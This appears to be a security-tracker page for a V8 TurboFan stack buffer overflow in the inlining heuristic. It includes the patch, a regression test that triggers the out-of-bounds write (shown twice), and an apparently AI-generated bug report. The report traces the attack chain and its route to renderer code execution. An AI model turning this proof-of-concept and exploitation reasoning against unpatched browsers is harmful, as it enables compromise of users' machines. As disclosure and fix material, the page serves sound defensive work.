Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactStack buffer overflow in V8
DescriptionStack buffer overflow in V8
ComponentV8
Bug ClassOOB
Tracker522125255
Fix commit0cc5dcf12126 (v8/v8) +124/-0
CISA KEVNot listed
CreditedGoogle
Disclosed2026-07-21

Changed Functions

FunctionChangeNotes
if
src/compiler/js-inlining-heuristic.cc
modified
for
src/compiler/js-inlining-heuristic.cc
modified
switch
test/mjsunit/compiler/regress-522125255.js
modified

Files Changed

  • src/compiler/js-inlining-heuristic.cc
  • test/mjsunit/compiler/regress-522125255.js
From 0cc5dcf12126a6bd5ca8fb95aa49fd5d228ed7e5 Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Fri, 26 Jun 2026 15:26:09 +0200
Subject: [PATCH] [turbofan] Avoid stack buffer overflow during inlining

There can be mismatches between the Node* that InlineCandidate tries
to inline and the Candidate information that was computed before.

This CL recomputes the Candidate in InlineCandidate and bails out if
it doesn't match what we computed earlier.

Fixed: 522125255
Change-Id: Iefc229417f09bdd82b79c643c5939860a796b910
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8011046
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Nico Hartmann <nicohartmann@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108645}
---

diff --git a/src/compiler/js-inlining-heuristic.cc b/src/compiler/js-inlining-heuristic.cc
index fdbd24e..fd43d7a 100644
--- a/src/compiler/js-inlining-heuristic.cc
+++ b/src/compiler/js-inlining-heuristic.cc
@@ -806,6 +806,28 @@
   Node* if_successes[kMaxCallPolymorphism];
   Node* callee = NodeProperties::GetValueInput(node, 0);
 
+  {
+    // Re-collect functions from the live node to check for mutations. This
+    // should be rare, but can still happen if the callee has been mutated
+    // in-place following another inlining.
+    Candidate current_candidate = CollectFunctions(node, kMaxCallPolymorphism);
+
+    if (current_candidate.num_functions != candidate.num_functions) {
+      // Transitioned from Phi to non-phi or vice versa, or a phi changed input
+      // count.
+      // TODO(dmercadier): transitioning from Phi to non-phi is actually
+      // something for which we should probably still inline.. Maybe we could
+      // re-queue the candidate or something like that.
+      return NoChange();
+    }
+    for (int i = 0; i < candidate.num_functions; ++i) {
+      if (current_candidate.functions[i] != candidate.functions[i]) {
+        // A phi input changed.
+        return NoChange();
+      }
+    }
+  }
+
   // Setup the inputs for the cloned call nodes.
   int const input_count = node->InputCount();
   Node** inputs = graph()->zone()->AllocateArray<Node*>(input_count);
diff --git a/test/mjsunit/compiler/regress-522125255.js b/test/mjsunit/compiler/regress-522125255.js
new file mode 100644
index 0000000..3b45e6f
--- /dev/null
+++ b/test/mjsunit/compiler/regress-522125255.js
@@ -0,0 +1,102 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+//
+// Stack buffer overflow in JSInliningHeuristic::TryReuseDispatch.
+//
+// Chain:
+//   1. `B(t, r)` is JSCall(BoundFn, undef, t, r).  JSCallReducer unwraps the
+//      bound function and chains two Function.prototype.call reductions in a
+//      single Reduce(), leaving JSCall(target=Phi2{FPC,userFn},
+//      receiver=PhiN{f0..f7}, ...).  JSInliningHeuristic snapshots Phi2 with
+//      num_functions=2 (<= kMaxCallPolymorphism) and defers it.
+//   2. bigFn (deferred, higher score) is inlined first in Finalize().  Its
+//      body has only kNoThrow ops, so JSInliner gives the surrounding catch
+//      handler a Dead control input.  DeadCodeElimination then collapses the
+//      try/catch merge, folding Phi2 to the FPC constant.
+//   3. The vulnerable JSCall is revisited; JSCallReducer fires the third
+//      Function.prototype.call reduction (arity==0 path), shifting the
+//      *receiver* (PhiN) into the target slot.  seen_ blocks re-snapshot.
+//   4. Finalize() pops the stale candidate.  InlineCandidate reads the live
+//      callee = PhiN and TryReuseDispatch sets *num_calls = N with no upper
+//      bound, then writes calls[i]/if_successes[i] for i in [0,N) into stack
+//      arrays sized [kMaxCallPolymorphism+1]=5 and [kMaxCallPolymorphism]=4.
+
+// `var` (not `const`) so no ThrowReferenceErrorIfHole branches are emitted at
+// the use sites -- those would (a) keep the catch arm alive and (b) shift the
+// call's control input off the switch merge.
+var FPC = Function.prototype.call;
+// Bound trampoline: lets us emit JSCall(FPC, FPC, t, r) at the call site
+// *without* a post-switch GetNamedProperty/CheckMaps, so TryReuseDispatch's
+// effect-chain check (Checkpoint -> EffectPhi) holds.
+var B = FPC.bind(FPC);
+
+function f0(){} function f1(){} function f2(){} function f3(){}
+function f4(){} function f5(){} function f6(){} function f7(){}
+
+%NeverOptimizeFunction(f0); %NeverOptimizeFunction(f1);
+%NeverOptimizeFunction(f2); %NeverOptimizeFunction(f3);
+%NeverOptimizeFunction(f4); %NeverOptimizeFunction(f5);
+%NeverOptimizeFunction(f6); %NeverOptimizeFunction(f7);
+
+// Per-arm effect so an EffectPhi survives at the switch merge.
+function sink(){}
+%NeverOptimizeFunction(sink);
+
+// userFn: inlineable, NOT small (>30 bytecode bytes), and larger than bigFn so
+// the polymorphic candidate's score (= frequency / total_size) is *lower* than
+// bigFn's -- bigFn is popped from candidates_ first.
+function userFn(a) {
+  var s = a|0;
+  s=s|1; s=s|2; s=s|3; s=s|4; s=s|5; s=s|6; s=s|7; s=s|8; s=s|9; s=s|10;
+  s=s|11; s=s|12; s=s|13; s=s|14; s=s|15; s=s|16; s=s|17; s=s|18; s=s|19;
+  return s;
+}
+
+// bigFn: NOT small (>30 bytes) so it is deferred to candidates_, and its body
+// contains only kNoThrow ops (constants/locals -- entry stack-check is skipped
+// for inlinees) so that after inlining the surrounding catch arm goes Dead.
+function bigFn() {
+  var a=1,b=2,c=3,d=4,e=5,f=6,g=7,h=8,
+      i=9,j=10,k=11,l=12,m=13,n=14,o=15,p=16;
+  return 0;
+}
+
+function opt(x) {
+  // Preload everything that would otherwise emit a JSLoadGlobal /
+  // hole-check inside the try block or after the switch merge.
+  var fpc = FPC;
+  var b   = B;
+  var big = bigFn;
+  var t   = userFn;
+  try {
+    big();                            // only throwing op in the try block
+    t = fpc;
+  } catch (e) {}
+  // Phi2 = Phi(FPC, userFn) at the try/catch merge.
+
+  var r = f0;
+  switch (x & 7) {                    // 8 cases + implicit fallthrough = 9-way
+    case 0: r = f0; sink(); break;
+    case 1: r = f1; sink(); break;
+    case 2: r = f2; sink(); break;
+    case 3: r = f3; sink(); break;
+    case 4: r = f4; sink(); break;
+    case 5: r = f5; sink(); break;
+    case 6: r = f6; sink(); break;
+    case 7: r = f7; sink(); break;
+  }
+  // PhiN = Phi(f0, f0, f1, ..., f7) and EffectPhi at the switch merge.
+
+  b(t, r);                            // the vulnerable site (no post-merge
+                                      // property load / CheckMaps)
+}
+
+%PrepareFunctionForOptimization(bigFn);
+%PrepareFunctionForOptimization(userFn);
+%PrepareFunctionForOptimization(opt);
+for (var i = 0; i < 16; i++) opt(i);  // hit every switch arm
+%OptimizeFunctionOnNextCall(opt);
+opt(0);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/compiler/regress-522125255.js b/test/mjsunit/compiler/regress-522125255.js
new file mode 100644
index 0000000..3b45e6f
--- /dev/null
+++ b/test/mjsunit/compiler/regress-522125255.js
@@ -0,0 +1,102 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+//
+// Stack buffer overflow in JSInliningHeuristic::TryReuseDispatch.
+//
+// Chain:
+//   1. `B(t, r)` is JSCall(BoundFn, undef, t, r).  JSCallReducer unwraps the
+//      bound function and chains two Function.prototype.call reductions in a
+//      single Reduce(), leaving JSCall(target=Phi2{FPC,userFn},
+//      receiver=PhiN{f0..f7}, ...).  JSInliningHeuristic snapshots Phi2 with
+//      num_functions=2 (<= kMaxCallPolymorphism) and defers it.
+//   2. bigFn (deferred, higher score) is inlined first in Finalize().  Its
+//      body has only kNoThrow ops, so JSInliner gives the surrounding catch
+//      handler a Dead control input.  DeadCodeElimination then collapses the
+//      try/catch merge, folding Phi2 to the FPC constant.
+//   3. The vulnerable JSCall is revisited; JSCallReducer fires the third
+//      Function.prototype.call reduction (arity==0 path), shifting the
+//      *receiver* (PhiN) into the target slot.  seen_ blocks re-snapshot.
+//   4. Finalize() pops the stale candidate.  InlineCandidate reads the live
+//      callee = PhiN and TryReuseDispatch sets *num_calls = N with no upper
+//      bound, then writes calls[i]/if_successes[i] for i in [0,N) into stack
+//      arrays sized [kMaxCallPolymorphism+1]=5 and [kMaxCallPolymorphism]=4.
+
+// `var` (not `const`) so no ThrowReferenceErrorIfHole branches are emitted at
+// the use sites -- those would (a) keep the catch arm alive and (b) shift the
+// call's control input off the switch merge.
+var FPC = Function.prototype.call;
+// Bound trampoline: lets us emit JSCall(FPC, FPC, t, r) at the call site
+// *without* a post-switch GetNamedProperty/CheckMaps, so TryReuseDispatch's
+// effect-chain check (Checkpoint -> EffectPhi) holds.
+var B = FPC.bind(FPC);
+
+function f0(){} function f1(){} function f2(){} function f3(){}
+function f4(){} function f5(){} function f6(){} function f7(){}
+
+%NeverOptimizeFunction(f0); %NeverOptimizeFunction(f1);
+%NeverOptimizeFunction(f2); %NeverOptimizeFunction(f3);
+%NeverOptimizeFunction(f4); %NeverOptimizeFunction(f5);
+%NeverOptimizeFunction(f6); %NeverOptimizeFunction(f7);
+
+// Per-arm effect so an EffectPhi survives at the switch merge.
+function sink(){}
+%NeverOptimizeFunction(sink);
+
+// userFn: inlineable, NOT small (>30 bytecode bytes), and larger than bigFn so
+// the polymorphic candidate's score (= frequency / total_size) is *lower* than
+// bigFn's -- bigFn is popped from candidates_ first.
+function userFn(a) {
+  var s = a|0;
+  s=s|1; s=s|2; s=s|3; s=s|4; s=s|5; s=s|6; s=s|7; s=s|8; s=s|9; s=s|10;
+  s=s|11; s=s|12; s=s|13; s=s|14; s=s|15; s=s|16; s=s|17; s=s|18; s=s|19;
+  return s;
+}
+
+// bigFn: NOT small (>30 bytes) so it is deferred to candidates_, and its body
+// contains only kNoThrow ops (constants/locals -- entry stack-check is skipped
+// for inlinees) so that after inlining the surrounding catch arm goes Dead.
+function bigFn() {
+  var a=1,b=2,c=3,d=4,e=5,f=6,g=7,h=8,
+      i=9,j=10,k=11,l=12,m=13,n=14,o=15,p=16;
+  return 0;
+}
+
+function opt(x) {
+  // Preload everything that would otherwise emit a JSLoadGlobal /
+  // hole-check inside the try block or after the switch merge.
+  var fpc = FPC;
+  var b   = B;
+  var big = bigFn;
+  var t   = userFn;
+  try {
+    big();                            // only throwing op in the try block
+    t = fpc;
+  } catch (e) {}
+  // Phi2 = Phi(FPC, userFn) at the try/catch merge.
+
+  var r = f0;
+  switch (x & 7) {                    // 8 cases + implicit fallthrough = 9-way
+    case 0: r = f0; sink(); break;
+    case 1: r = f1; sink(); break;
+    case 2: r = f2; sink(); break;
+    case 3: r = f3; sink(); break;
+    case 4: r = f4; sink(); break;
+    case 5: r = f5; sink(); break;
+    case 6: r = f6; sink(); break;
+    case 7: r = f7; sink(); break;
+  }
+  // PhiN = Phi(f0, f0, f1, ..., f7) and EffectPhi at the switch merge.
+
+  b(t, r);                            // the vulnerable site (no post-merge
+                                      // property load / CheckMaps)
+}
+
+%PrepareFunctionForOptimization(bigFn);
+%PrepareFunctionForOptimization(userFn);
+%PrepareFunctionForOptimization(opt);
+for (var i = 0; i < 16; i++) opt(i);  // hit every switch arm
+%OptimizeFunctionOnNextCall(opt);
+opt(0);
Loading diff…

Original Bug Report

reported by aw...@chromium.org

Stack buffer overflow in JSInliningHeuristic::TryReuseDispatch via stale Candidate

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: JSInliningHeuristic::TryReuseDispatch reads a live callee Phi’s input count at finalization without bounds checking against kMaxCallPolymorphism. An attacker can shift a wider Phi into the target slot via a JSBoundFunction target-rewrite, causing out-of-bounds writes to stack arrays calls and if_successes. This memory corruption on the compiler thread could lead to arbitrary code execution through downstream JIT check elision.

Affected files:

  • src/compiler/js-inlining-heuristic.cc
  • src/compiler/js-call-reducer.cc

Estimated timestamp from git blame: 2017-09-08

1. Summary of the Issue (Meant for Human Triage)

A potential stack buffer overflow vulnerability exists in the TurboFan compiler of V8, specifically within JSInliningHeuristic::TryReuseDispatch. When snapshotting a polymorphic call site, the compiler ensures that the callee Phi has a width no greater than kMaxCallPolymorphism (which is 4) and defers the candidate to a queue. However, during subsequent compiler passes before the candidate is finalized, other reducers (such as JSCallReducer and DeadCodeElimination) can modify the graph.

If an attacker-controlled, wider Phi (representing more than 4 inputs) is shifted into the target index of the call node, the stale candidate is processed by JSInliningHeuristic::Finalize without revalidation of its target’s width. When InlineCandidate is invoked, TryReuseDispatch reads the live callee’s width via callee->op()->ValueInputCount() with no bounds check. This causes an out-of-bounds write of zone-allocated Node* pointers into fixed-size stack arrays calls (size 5) and if_successes (size 4), corrupting adjacent stack variables. This memory corruption can be utilized to overwrite compiler pointers or cause out-of-bounds array reads, triggering compiler crashes or leading to downstream JIT compilation check elisions (such as dropping crucial map or bounds checks), which can be exploited for arbitrary code execution in the renderer.


2. Proof-of-Concept & Detailed Execution Flow

Note: The following represents a potential execution flow traced through static analysis. Our tooling agent does not currently have the ability to run code to provide a working proof of concept.

An attacker can construct a graph that successfully threads the complex structural verification of TryReuseDispatch by utilizing a JSBoundFunction target-rewrite, which prevents the insertion of blocking CheckMaps nodes on the effect chain.

Detailed Execution Flow Trace

  1. Setup: An attacker defines a bound function: const CC = Function.prototype.call.bind(Function.prototype.call);. In an optimized function, a 2-way target Phi_A (cond ? Function.prototype.call : userFn) and a 6-way receiver Phi_B from a switch statement are created. The bound function is invoked: CC(Phi_A, Phi_B).
  2. JSBoundFunction Unwrapping: JSCallReducer::ReduceJSCall (src/compiler/js-call-reducer.cc:5186) unwraps the constant JSBoundFunction in-place. The node’s Target and Receiver become Function.prototype.call (FPC), and the node is recursively reduced via ReduceFunctionPrototypeCall (:3468).
  3. Argument Shifting: Because the target is FPC, ReduceFunctionPrototypeCall shifts the inputs (node->RemoveInput(n.TargetIndex())). After two passes (arity drops 2 → 1 → 0), the node inputs become: Target = Phi_A, Receiver = Phi_B, arity = 0.
  4. Inlining Heuristic Snapshot: JSInliningHeuristic::Reduce (src/compiler/js-inlining-heuristic.cc:213) processes the node. CollectFunctions (:145) snapshots target = Phi_A (polymorphism of 2). This satisfies the snapshot-time bounds check value_input_count <= functions_size (:167). The candidate is deferred, and the node’s ID is marked in seen_ (:227), blocking future re-snapshots.
  5. Target Collapse: During the GraphReducer fixpoint iterations, a higher-priority candidate is inlined first, folding the condition feeding Phi_A to true. DeadCodeElimination::ReduceLoopOrMerge simplifies Phi_A to its surviving constant input, Function.prototype.call.
  6. The Arity-0 Target Rewrite: JSCallReducer revisits the node. ReduceFunctionPrototypeCall runs again with arity == 0. It executes the if (arity == 0) branch (:3494-3510):
    node->ReplaceInput(n.TargetIndex(), n.receiver());      // Target ← Receiver (Phi_B)
    node->ReplaceInput(n.ReceiverIndex(), jsgraph()->UndefinedConstant());
    
    The target is now Phi_B (the 6-way receiver Phi). Crucially, because this rewrite manipulates inputs via ReplaceInput rather than property loads, no CheckMaps nodes are inserted into the effect chain. seen_ prevents the heuristic from re-snapshotting the node.
  7. Stale Candidate Finalization: JSInliningHeuristic::Finalize (:346) pops the stale candidate. Re-validation occurs (:360-361), but checks only IsInlineeOpcode and !IsDead(). InlineCandidate (:782) allocates fixed-size stack arrays based on kMaxCallPolymorphism (4):
    // src/compiler/js-inlining-heuristic.cc:805-806
    Node* calls[kMaxCallPolymorphism + 1];     // size 5
    Node* if_successes[kMaxCallPolymorphism];  // size 4
    
  8. TryReuseDispatch and Overflow: TryReuseDispatch (:493) extracts the live callee (Phi_B). Structural checks (:586-681) pass perfectly because the JSBoundFunction unwrapping bypassed CheckMaps insertions. At line 683, the width is read with no bounds check:
    // src/compiler/js-inlining-heuristic.cc:683-716
    *num_calls = callee->op()->ValueInputCount();  // returns 6
    for (int i = 0; i < *num_calls; ++i) {
        calls[i] = if_successes[i] = graph()->NewNode(...);
    }
    
    This loop writes 6 Node* pointers to the arrays, overflowing if_successes (size 4) and calls (size 5), clobbering adjacent compiler stack memory.
  9. Out-of-Bounds Reads: Later in InlineCandidate, lines 833 and 846 write to [num_calls] out of bounds. Lines 858 and 866 perform out-of-bounds reads on candidate.can_inline_function[i] and candidate.bytecode[i] for indices $\geq 4$.
  10. Exploitation Impact: Under modern compilers (e.g., Clang with Stack Protector), arrays are typically packed adjacently. if_successes[4] reliably aliases calls[0]. Overwriting these arrays introduces corrupted Node* pointers into the compiler graph. Because these corrupted pointers are passed to inliner_.ReduceJSCall(calls[i]) before the function epilogue (where the stack canary is checked), the compiler is forced to wire disjoint nodes. This orphans effect chains, leading to JIT check elision (e.g., dropped bounds/map checks), which translates to arbitrary code execution in the renderer via standard Layer-1 primitives.

Proposed Fix

Add a bounds check immediately after confirming the callee is a Phi node in TryReuseDispatch:

// src/compiler/js-inlining-heuristic.cc:586
if (callee->opcode() != IrOpcode::kPhi) return false;
if (callee->op()->ValueInputCount() > kMaxCallPolymorphism) return false;

3. Technical Verification Details (Automated Audit Logs - Reviewers may skip this section)

Verbatim Critic Verdict Log:

VERDICT: accept at medium
LAYER: 1 CLASS: A/L (TurboFan JIT Miscompilation via Compiler-Thread Stack OOB)

Justification:
- The missing bounds check at `js-inlining-heuristic.cc:683` causes an out-of-bounds write of `Node*` pointers to the `calls` (size 5) and `if_successes` (size 4) stack arrays when a live callee Phi exceeds `kMaxCallPolymorphism` (4).
- Reachability is contrived-but-plausible: an attacker can thread the structural checks in `TryReuseDispatch` by using a `JSBoundFunction` target-rewrite to shift a wider receiver Phi into the target slot without inserting a blocking `CheckMaps` node, confirming the prior validation's reachability path.
- While `-fstack-protector-strong` prevents direct RIP control and the written values are `Node*` pointers rather than attacker-derived bytes, this stack corruption directly enables JIT miscompilation. 
- Specifically, the arrays are allocated adjacent to critical local variables in `InlineCandidate`. If the `node` pointer is overwritten by a newly minted `Node*` during the overflow, the subsequent `ReplaceWithValue(node, ...)` acts on the new node, leaving the original `JSCall` intact but with a `Dead` control input (set at line 719). This orphans the call and its dependent effect chain, reliably leading to downstream check elision (e.g., dropped bounds/map checks) in the generated code.
- Alternatively, overwriting `num_calls` triggers massive OOB reads from the `Candidate` object, parsing garbage as `Node*` and leading to compiler crashes or wild dereferences.
- Because this provides a clear, structural path from compiler-thread stack corruption to classic Layer-1 JIT check elision, it qualifies as a Layer-1 write primitive with contrived reachability. Rated `medium` per the severity guide, rather than `low`. 

Modifiers: Default flags (no experimental features), arch-independent.

Validation Notes:

  • Snapshot-time bound check is one-shot (js-inlining-heuristic.cc:165-186, 227, 326, 342): Enforces value_input_count <= functions_size and inserts seen_.insert(node->id());, blocking re-snapshot.
  • Finalize re-validation is opcode + IsDead only (:360-361): Checks IsInlineeOpcode and !IsDead, but not the Phi width or identity.
  • TryReuseDispatch reads live Phi width with no bound (:683-716): *num_calls = callee->op()->ValueInputCount(); reads the live callee with no CHECK_LE against kMaxCallPolymorphism (4).
  • Fixed-size sinks (:805-806, 823, 833, 846, 858/866): Stack arrays are declared as Node* calls[kMaxCallPolymorphism + 1] and Node* if_successes[kMaxCallPolymorphism].
  • JSCallReducer GraphReducer integration (pipeline.cc:942-952, graph-reducer.cc:71-91): Reducers run in a fixpoint loop, allowing JSCallReducer to run on revisited nodes between consecutive JSInliningHeuristic::Finalize() iterations.
  • ReduceFunctionPrototypeCall Target Shift (js-call-reducer.cc:3494-3510): Shifts receiver to target via node->ReplaceInput(n.TargetIndex(), n.receiver()) when arity == 0. Opcode remains kJSCall, bypassing checks. No CheckMaps nodes are added by this rewrite (unlike property loads like t.call(r)), allowing TryReuseDispatch structural bailouts (:586-681) to pass.
  • Mitigations Checked: Stack canary (-fstack-protector-strong) does not prevent exploitation because the corrupted array elements (e.g., calls[0] aliased by if_successes[4]) are used before the function returns, causing compiler graph corruption.

Evaluated with Chrome root at commit: 71e7e1a98476f8faf0d126dc83935a84331b2194


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

Note: This bug has been automatically redirected to the top-level Chromium component. Please move it to the actual component: https://b.corp.google.com/components/1456566 once PoCs have been generated.

View on issue tracker